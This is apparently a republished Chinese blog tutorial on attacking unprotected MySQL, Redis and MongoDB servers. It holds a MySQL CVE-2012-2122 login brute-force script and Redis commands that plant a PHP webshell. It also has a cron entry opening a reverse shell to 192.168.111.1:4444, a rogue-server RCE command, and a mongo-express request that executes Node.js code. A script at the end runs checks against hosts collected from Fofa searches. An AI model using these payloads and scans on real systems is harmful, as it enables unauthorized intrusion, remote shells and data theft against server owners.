数据库安全Redis&Mysql&MongoDB未授权&反弹

Posted 遗憾zzz

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了数据库安全Redis&Mysql&MongoDB未授权&反弹相关的知识,希望对你有一定的参考价值。

一、Mysql 身份认证绕过漏洞(CVE-2012-2122)

当连接MariaDB/mysql时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。

受影响版本:
MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.

参考链接:
http://www.freebuf.com/vuls/3815.html
https://blog.rapid7.com/2012/06/11/cve-2012-2122-a-tragically-comedic-security-flaw-in-mysql/

nmap -A -p 3306 192.168.111.130 扫描开放的服务以及mysql信息

漏洞利用脚本如下:

import subprocess
ipaddr = input("Enter the IP address of the mysql server: ")
while 1:
	subprocess.Popen("mysql --host=%s -u root mysql --password=blah" % (ipaddr), shell=True).wait()

直接python去运行它


通过大量的连接请求导致未授权直接进入mysql数据库

二、Redis-未授权访问-WebShell&计划任务&RCE

Redis
REmote DIctionary Server(Redis) 是完全开源免费的,遵守BSD协议,Redis是一个由Salvatore Sanfilippo写的key-value存储系统。。

Redis 与其他它key - value 缓存产品有以下三个特点:

Redis支持数据的持久化,可以将内存中的数据保存在磁盘中,重启的时候可以再次加载进行使用。
Redis不仅仅支持简单的key-value类型的数据,同时还提供listset,zset,hash等数据结构的存储。
Redis支持数据的备份,即master-slave模式的数据备份。

Redis默认情况下,会绑定在0.0.0.0:6379,如果没有进行采⽤相关的策略,⽐如添加防火墙规则避免其他⾮信任来源ip访问等,这样将会将Redis服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意⽤户在可以访问⽬标服务器器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下,利用Redis自身的提供的config命令,可以进⾏写⽂件操作,攻击者可成功将⾃己的ssh公钥写⼊⽬标服务器的/root/.ssh文件夹的authotrized_keys文件中,进⽽可以使用对应私钥直接使用ssh服务登录目标服务器器、添加计划任务、写⼊Webshell等操作。Redis未授权访问在4.x/5.0.5以前版本下,我们可以使用master/slave模式加载远程模块,通过动态链接库的方式执行任意命令

搭建redis数据库



修改配置文件,使可以远程访问:
bind 127.0.0.1前面加上#号 protected-mode设为no
启动./redis-server

安装搭建redis参考:https://www.cnblogs.com/loopkep/p/11135949.html

1.未授权写入webshell

默认redis使用的6379端口,使用nmap查看端口情况

nmap -A -p 6379 -script redis-info 192.168.111.130

redis-cli.exe -h 192.168.111.130 //连接redis数据库


info输出内容说明存在未授权访问的操作

Webshell写入:
config set dir /tmp            #设置WEB写入目录
config set dbfilename test.php #设置写入文件名
set test "<?php phpinfo();?>"  #设置写入文件代码
save                           #保存执行



可以看到成功写入一句话木马

2.计划任务反弹shell

config set dir /var/spool/cron/crontabs #设置写入计划任务目录
config set dbfilename root #设置写入文件名
set xx "\\n\\n\\n* * * * * bash -i >& /dev/tcp/192.168.111.1/4444 0>&1\\n\\n\\n" #设置写入文件代码
save         #保存执行



反弹shell成功

3.Redis RCE反弹shell
漏洞利用项目:https://github.com/n0b0dyCN/redis-rogue-server

cd RedisModulesSDK/exp/
make
python redis-rogue-server.py 
--rhost=192.168.111.130 --lhost=192.168.111.1 --exp=exp.so

三、MongoDB-未授权访问-数据操作&插件代码执行

开启MongoDB服务时不添加任何参数时,默认是没有权限验证的,登录的用户可以通过默认端口⽆需密码对数据库任意操作(增、删、改、查高危动作)⽽且可以远程访问数据库。造成未授权访问的根本原因就在于启动Mongodb的时候未设置–auth也很少会有⼈人会给数据库添加上账号密码(默认空口令),使⽤用默认空口令这将导致恶意攻击者⽆需进⾏账号认证就可以登陆到数据服务器。

1.未授权访问
nmap扫描开放的服务

nmap -A -p   27017 192.168.111.130



直接连接就完事了嗷

2.插件代码执行
mongo-express是一款mongodb的第三方Web界面,使用node和express开发。如果攻击者可以成功登录,或者目标服务器没有修改默认的账号密码(admin:pass),则可以执行任意node.js代码。
访问http://your-ip:8081即可查看到Web页面。

直接发送如下数据包,即可执行代码this.constructor.constructor(“return process”)().mainModule.require(“child_process”).execSync(“touch /tmp/success”):

POST /checkValid HTTP/1.1
Host: 192.168.111.130:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: mongo-express=s%3AGazKKAPEjyqEikPPzJHUZhVA3t5Oq2xS.3SDYlo4z39NyESfLnvbmWwLaoaKxzoDaPwTOV6R4O74
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 120

document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("touch /tmp/123")

docker-compose exec web ls /tmp

四、Python-开发检测-配合Fofa结果进行Redis安全检测

fofa搜索关键信息列入文本

检测脚本如下:

import os,time
import pyautogui
import os
import time
import pyperclip

app_dir = "C:\\Program Files\\Redis\\cmd.bat"

for ip in open('hosts.txt'):
    ip=ip.replace('\\n','')
    cmds = [
        "redis-cli.exe -h "+ip,
        "info",
        "exit",
        "exit"
    ]

    time.sleep(1)
    os.startfile(app_dir)
    pyautogui.typewrite(["enter"], '0.25')
    time.sleep(1)
    x, y = pyautogui.position()
    for i in cmds:
        pyperclip.copy(i)
        pyautogui.click(x=x, y=y, button='right')
        time.sleep(1)
        pyautogui.typewrite(["enter"], '0.25')

以上是关于数据库安全Redis&Mysql&MongoDB未授权&反弹的主要内容,如果未能解决你的问题,请参考以下文章

golang 操作 Redis & Mysql & RabbitMQ

基于Canal的Mysql&Redis数据同步实现

Redis数据库及其可视化管理工具RedisDesktopManager && Mysql数据库及其可视化管理工具navicat (一条龙解决从下载到使用!)

Go语言学习笔记golang 操作 Redis & Mysql & RabbitMQ

Redis进阶之事物&持久化

NoSQL&Redis